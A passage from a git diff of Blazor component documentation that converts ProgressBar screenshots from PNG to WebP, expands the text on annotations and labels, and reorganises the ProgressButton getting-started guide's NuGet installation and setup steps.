index 0000000000..765ab8f084
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-animation.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-annotation.png b/blazor/progress-bar/images/blazor-progressbar-annotation.png
deleted file mode 100644
index a7cb1bd3a2..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-annotation.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-annotation.webp b/blazor/progress-bar/images/blazor-progressbar-annotation.webp
new file mode 100644
index 0000000000..397416a2d4
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-annotation.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-change-range-color.png b/blazor/progress-bar/images/blazor-progressbar-change-range-color.png
deleted file mode 100644
index 95577d95dc..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-change-range-color.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-change-range-color.webp b/blazor/progress-bar/images/blazor-progressbar-change-range-color.webp
new file mode 100644
index 0000000000..9913d4f77e
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-change-range-color.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-margin.png b/blazor/progress-bar/images/blazor-progressbar-margin.png
deleted file mode 100644
index 36fcad9bc3..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-margin.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-margin.webp b/blazor/progress-bar/images/blazor-progressbar-margin.webp
new file mode 100644
index 0000000000..6a91a6d133
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-margin.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-right-to-left.png b/blazor/progress-bar/images/blazor-progressbar-right-to-left.png
deleted file mode 100644
index 9e43abc350..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-right-to-left.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-right-to-left.webp b/blazor/progress-bar/images/blazor-progressbar-right-to-left.webp
new file mode 100644
index 0000000000..6d0c79d92b
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-right-to-left.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-color.png b/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-color.png
deleted file mode 100644
index 9801a65d16..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-color.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-color.webp b/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-color.webp
new file mode 100644
index 0000000000..4c97de243e
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-color.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-thickness.png b/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-thickness.png
deleted file mode 100644
index 54a0d20b0d..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-thickness.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-thickness.webp b/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-thickness.webp
new file mode 100644
index 0000000000..98b7bd5ea7
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-secondaryprogressbar-thickness.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-circular.png b/blazor/progress-bar/images/blazor-progressbar-with-circular.png
deleted file mode 100644
index 5ed5b36816..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-with-circular.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-circular.webp b/blazor/progress-bar/images/blazor-progressbar-with-circular.webp
new file mode 100644
index 0000000000..b89a7585db
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-with-circular.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-inner-radius.png b/blazor/progress-bar/images/blazor-progressbar-with-inner-radius.png
deleted file mode 100644
index 1a8377cf7e..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-with-inner-radius.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-inner-radius.webp b/blazor/progress-bar/images/blazor-progressbar-with-inner-radius.webp
new file mode 100644
index 0000000000..e80f24838c
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-with-inner-radius.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-label.png b/blazor/progress-bar/images/blazor-progressbar-with-label.png
deleted file mode 100644
index 7fb20bf8b7..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-with-label.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-label.webp b/blazor/progress-bar/images/blazor-progressbar-with-label.webp
new file mode 100644
index 0000000000..c3a59edf60
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-with-label.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-linear.png b/blazor/progress-bar/images/blazor-progressbar-with-linear.png
deleted file mode 100644
index 4ad8cb3ccf..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-with-linear.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-linear.webp b/blazor/progress-bar/images/blazor-progressbar-with-linear.webp
new file mode 100644
index 0000000000..aa1d95ae04
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-with-linear.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-radius.png b/blazor/progress-bar/images/blazor-progressbar-with-radius.png
deleted file mode 100644
index 8897e3cc97..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-with-radius.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-radius.webp b/blazor/progress-bar/images/blazor-progressbar-with-radius.webp
new file mode 100644
index 0000000000..70467dcdca
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-with-radius.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-segments.png b/blazor/progress-bar/images/blazor-progressbar-with-segments.png
deleted file mode 100644
index d7bb8b2e89..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-with-segments.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-segments.webp b/blazor/progress-bar/images/blazor-progressbar-with-segments.webp
new file mode 100644
index 0000000000..7c3189c9f7
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-with-segments.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-thickness.png b/blazor/progress-bar/images/blazor-progressbar-with-thickness.png
deleted file mode 100644
index 902567a5e0..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-with-thickness.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-with-thickness.webp b/blazor/progress-bar/images/blazor-progressbar-with-thickness.webp
new file mode 100644
index 0000000000..274cccc80a
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-with-thickness.webp differ
diff --git a/blazor/progress-bar/images/blazor-striped-progressbar.png b/blazor/progress-bar/images/blazor-striped-progressbar.png
deleted file mode 100644
index 89871a1ff7..0000000000
Binary files a/blazor/progress-bar/images/blazor-striped-progressbar.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-striped-progressbar.webp b/blazor/progress-bar/images/blazor-striped-progressbar.webp
new file mode 100644
index 0000000000..dd38b049fa
Binary files /dev/null and b/blazor/progress-bar/images/blazor-striped-progressbar.webp differ
diff --git a/blazor/progress-bar/images/blazor-wasm-app-template.png b/blazor/progress-bar/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/progress-bar/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-wasm-app-template.webp b/blazor/progress-bar/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/progress-bar/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/progress-bar/images/progress-bar-visibility.gif b/blazor/progress-bar/images/progress-bar-visibility.gif
deleted file mode 100644
index a01279cde9..0000000000
Binary files a/blazor/progress-bar/images/progress-bar-visibility.gif and /dev/null differ
diff --git a/blazor/progress-bar/images/progress-bar-visibility.webp b/blazor/progress-bar/images/progress-bar-visibility.webp
new file mode 100644
index 0000000000..e5cbcfa0c0
Binary files /dev/null and b/blazor/progress-bar/images/progress-bar-visibility.webp differ
diff --git a/blazor/progress-bar/images/style/blazor-progressbar-label-customization.png b/blazor/progress-bar/images/style/blazor-progressbar-label-customization.png
deleted file mode 100644
index b18fc7ddb9..0000000000
Binary files a/blazor/progress-bar/images/style/blazor-progressbar-label-customization.png and /dev/null differ
diff --git a/blazor/progress-bar/images/style/blazor-progressbar-label-customization.webp b/blazor/progress-bar/images/style/blazor-progressbar-label-customization.webp
new file mode 100644
index 0000000000..4edb1bf633
Binary files /dev/null and b/blazor/progress-bar/images/style/blazor-progressbar-label-customization.webp differ
diff --git a/blazor/progress-bar/images/style/blazor-progressbar-progress-customization.png b/blazor/progress-bar/images/style/blazor-progressbar-progress-customization.png
deleted file mode 100644
index 36fd72ef27..0000000000
Binary files a/blazor/progress-bar/images/style/blazor-progressbar-progress-customization.png and /dev/null differ
diff --git a/blazor/progress-bar/images/style/blazor-progressbar-progress-customization.webp b/blazor/progress-bar/images/style/blazor-progressbar-progress-customization.webp
new file mode 100644
index 0000000000..aa38fbd913
Binary files /dev/null and b/blazor/progress-bar/images/style/blazor-progressbar-progress-customization.webp differ
diff --git a/blazor/progress-bar/images/style/blazor-progressbar-track-customization.png b/blazor/progress-bar/images/style/blazor-progressbar-track-customization.png
deleted file mode 100644
index ae4b8d4037..0000000000
Binary files a/blazor/progress-bar/images/style/blazor-progressbar-track-customization.png and /dev/null differ
diff --git a/blazor/progress-bar/images/style/blazor-progressbar-track-customization.webp b/blazor/progress-bar/images/style/blazor-progressbar-track-customization.webp
new file mode 100644
index 0000000000..630d6ac591
Binary files /dev/null and b/blazor/progress-bar/images/style/blazor-progressbar-track-customization.webp differ
diff --git a/blazor/progress-bar/progress-annotation.md b/blazor/progress-bar/progress-annotation.md
index d8e306739b..cc01fa8cc6 100644
--- a/blazor/progress-bar/progress-annotation.md
+++ b/blazor/progress-bar/progress-annotation.md
@@ -11,7 +11,9 @@ documentation: ug
 
 ## Annotations
 
-The annotations are used to add text, shapes, or images to the track area in the Progress Bar. It can be added using the [ProgressBarAnnotations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.ProgressBarAnnotations.html) collection, and elements that need to be displayed in the track area can be specified using the `ContentTemplate` property in the [ProgressBarAnnotation](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.ProgressBarAnnotation.html).
+Annotations in the Blazor ProgressBar component are used to enhance the visual representation of progress by adding custom text, shapes, or images directly inside the track area. This feature is especially useful when you want more control over how information is displayed, instead of relying only on the default progress value rendering.
+You can define annotations by using the [ProgressBarAnnotations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.ProgressBarAnnotations.html) collection. Inside this collection, multiple [ProgressBarAnnotation](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.ProgressBarAnnotation.html) elements can be added. Each annotation allows you to specify custom UI content using the `ContentTemplate` property. This template supports standard HTML elements, enabling you to design rich and interactive content within the ProgressBar.
+Annotations are commonly used in scenarios such as dashboards, analytics displays, or status indicators where additional context or styling is required. For example, instead of just showing a numeric value, you may want to include icons, labels, or formatted text along with the progress percentage.
 
 ```cshtml
 @using Syncfusion.Blazor.ProgressBar
@@ -33,11 +35,15 @@ The annotations are used to add text, shapes, or images to the track area in the
 </SfProgressBar>
 ```
 
-![Blazor ProgressBar with Annotation](images/blazor-progressbar-annotation.png)
+![Blazor ProgressBar with Annotation](images/blazor-progressbar-annotation.webp)
+
+In this example, a circular ProgressBar is created with a value of 60. The annotation is placed in the center of the progress bar using a content template. The text "60%" is displayed with custom styling such as font size, weight, and color. You can further enhance this by dynamically binding the value or adding conditional styling based on the progress value.
 
 ## Label
 
-When the [ShowProgressValue](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.SfProgressBar.html#Syncfusion_Blazor_ProgressBar_SfProgressBar_ShowProgressValue) property is set to **true**, the progress text is rendered in percentage format by default, and can be customized to different types of label formats by using the [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.TextRenderEventArgs.html#Syncfusion_Blazor_ProgressBar_TextRenderEventArgs_Text) argument in the [TextRender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.ProgressBarEvents.html#Syncfusion_Blazor_ProgressBar_ProgressBarEvents_TextRender) event.
+The Blazor ProgressBar component also supports displaying progress values using built-in labels. When the [ShowProgressValue](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.SfProgressBar.html#Syncfusion_Blazor_ProgressBar_SfProgressBar_ShowProgressValue) property is set to **true**, the component automatically renders the progress text, typically in percentage format.
+However, the default label [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.TextRenderEventArgs.html#Syncfusion_Blazor_ProgressBar_TextRenderEventArgs_Text) can be customized using the [TextRender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.ProgressBarEvents.html#Syncfusion_Blazor_ProgressBar_ProgressBarEvents_TextRender) event. This event allows you to modify the displayed text dynamically based on the progress value or any other logic defined in your application.
+This approach is useful when you need simple customization without building a full template like annotations. Labels are easier to configure and are ideal for straightforward progress display scenarios.
 
 ```cshtml
 @using Syncfusion.Blazor.ProgressBar
@@ -56,7 +62,19 @@ When the [ShowProgressValue](https://help.syncfusion.com/cr/blazor/Syncfusion.Bl
 }
 ```
 
-![Blazor ProgressBar with Label](images/blazor-progressbar-with-label.png)
+![Blazor ProgressBar with Label](images/blazor-progressbar-with-label.webp)
+
+In this example, a linear ProgressBar is displayed with a value of 50. Since ShowProgressValue is enabled, the progress text is shown by default. The TextRender event overrides the default behavior, allowing you to define your own text output.
+
+This flexibility allows developers to tailor the progress display to match application requirements and improve clarity for users.
+
+### Advantages of Using Labels
+
+- Simple and quick to configure  
+- Automatically handles progress value display  
+- Supports dynamic text customization  
+- Ideal for minimal UI requirements  
+
 
 ## See Also
 
diff --git a/blazor/progress-bar/range.md b/blazor/progress-bar/range.md
index f2a6928120..f083d80822 100644
--- a/blazor/progress-bar/range.md
+++ b/blazor/progress-bar/range.md
@@ -18,4 +18,4 @@ The range represents the entire span of the Progress Bar and it can be defined u
 </SfProgressBar>
 ```
 
-![Blazor ProgressBar with Range](images/blazor-determinate-progressbar.png)
+![Blazor ProgressBar with Range](images/blazor-determinate-progressbar.webp)
diff --git a/blazor/progress-bar/states.md b/blazor/progress-bar/states.md
index 75939af578..fb9cdabb17 100644
--- a/blazor/progress-bar/states.md
+++ b/blazor/progress-bar/states.md
@@ -22,7 +22,7 @@ This is the default progress state, which can be used when the estimated progres
 </SfProgressBar>
 ```
 
-![Blazor Determinate ProgressBar](images/blazor-determinate-progressbar.png)
+![Blazor Determinate ProgressBar](images/blazor-determinate-progressbar.webp)
 
 ## Indeterminate
 
@@ -35,7 +35,7 @@ This is the default progress state, which can be used when the estimated progres
 </SfProgressBar>
 ```
 
-![Blazor Indeterminate ProgressBar](images/blazor-indeterminate-progressbar.png)
+![Blazor Indeterminate ProgressBar](images/blazor-indeterminate-progressbar.webp)
 
 ## Buffer
 
@@ -48,7 +48,7 @@ When the [SecondaryProgress](https://help.syncfusion.com/cr/blazor/Syncfusion.Bl
 </SfProgressBar>
 ```
 
-![Blazor Buffer ProgressBar](images/blazor-buffer-progressbar.png)
+![Blazor Buffer ProgressBar](images/blazor-buffer-progressbar.webp)
 
 ## Active
 
@@ -62,7 +62,7 @@ The active animate indicator for the estimated progress can be enabled by settin
 </SfProgressBar>
 ```
 
-![Blazor Active ProgressBar](images/blazor-active-progressbar.png)
+![Blazor Active ProgressBar](images/blazor-active-progressbar.webp)
 
 ## Striped
 
@@ -77,4 +77,4 @@ N>[IsStriped](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBa
 </SfProgressBar>
 ```
 
-![Blazor Striped Progress Bar](images/blazor-striped-progressbar.png)
+![Blazor Striped Progress Bar](images/blazor-striped-progressbar.webp)
diff --git a/blazor/progress-bar/style-appearance.md b/blazor/progress-bar/style-appearance.md
index 5f46999505..d806ee9f30 100644
--- a/blazor/progress-bar/style-appearance.md
+++ b/blazor/progress-bar/style-appearance.md
@@ -47,7 +47,7 @@ Style the linear progress bar to customize colors, height, and visual appearance
 
 This CSS customizes the progress bar appearance with stroke color, width, and other properties to create an engaging progress visualization.
 
-![Blazor ProgressBar Progress Customization](images/style/blazor-progressbar-progress-customization.png)
+![Blazor ProgressBar Progress Customization](images/style/blazor-progressbar-progress-customization.webp)
 
 ## Customize Progress Bar - Track Line
 
@@ -69,7 +69,7 @@ Modify the appearance of the progress bar track (the background area where progr
 }
 ```
 
-![Blazor ProgressBar Track Customization](images/style/blazor-progressbar-track-customization.png)
+![Blazor ProgressBar Track Customization](images/style/blazor-progressbar-track-customization.webp)
 
 ## Customize Progress Bar - Range Text
 
@@ -104,6 +104,6 @@ text[id*="_linearLabel"] {
 </style>
 ```
 
-![Blazor ProgressBar Label Customization](images/style/blazor-progressbar-label-customization.png)
+![Blazor ProgressBar Label Customization](images/style/blazor-progressbar-label-customization.webp)
 
 N> SVG presentation attributes such as fill, stroke, and font-size may require **!important** when overridden by inline SVG styles.
diff --git a/blazor/progress-bar/types.md b/blazor/progress-bar/types.md
index f23a95c908..5dc4f1b8f2 100644
--- a/blazor/progress-bar/types.md
+++ b/blazor/progress-bar/types.md
@@ -32,7 +32,7 @@ To get a linear progress bar, set the [Type](https://help.syncfusion.com/cr/blaz
 </SfProgressBar>
 ```
 
-![Blazor Linear ProgressBar](images/blazor-progressbar-with-linear.png)
+![Blazor Linear ProgressBar](images/blazor-progressbar-with-linear.webp)
 
 ## Circular
 
@@ -58,4 +58,4 @@ To get the circular progress bar, set the [Type](https://help.syncfusion.com/cr/
 </SfProgressBar>
 ```
 
-![Blazor Circular ProgressBar](images/blazor-progressbar-with-circular.png)
+![Blazor Circular ProgressBar](images/blazor-progressbar-with-circular.webp)
diff --git a/blazor/progress-button/getting-started.md b/blazor/progress-button/getting-started.md
index 1eb808cef7..bfc0016e66 100644
--- a/blazor/progress-button/getting-started.md
+++ b/blazor/progress-button/getting-started.md
@@ -11,9 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor ProgressButton Component
 
-This section explains how to include the [Blazor ProgressButton](https://www.syncfusion.com/blazor-components/blazor-progress-button) component in a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get started quickly with the Blazor ProgressButton component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ProgressButton) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressButton](https://www.syncfusion.com/blazor-components/blazor-progress-button) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -27,23 +25,6 @@ To get started quickly with the Blazor ProgressButton component, refer to this [
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SplitButtons and Themes NuGet in the App
-
-To add the **Blazor ProgressButton** component to the app, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.SplitButtons](https://www.nuget.org/packages/Syncfusion.Blazor.SplitButtons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.SplitButtons -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -56,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -69,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SplitButtons and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install the [Syncfusion.Blazor.SplitButtons](https://www.nuget.org/packages/Syncfusion.Blazor.SplitButtons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.SplitButtons -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -107,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -118,29 +79,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SplitButtons and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.SplitButtons](https://www.nuget.org/packages/Syncfusion.Blazor.SplitButtons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor ProgressButton** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.SplitButtons](https://www.nuget.org/packages/Syncfusion.Blazor.SplitButtons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.SplitButtons -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.SplitButtons -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.SplitButtons` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.SplitButtons` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -151,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -177,24 +131,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor ProgressButton component
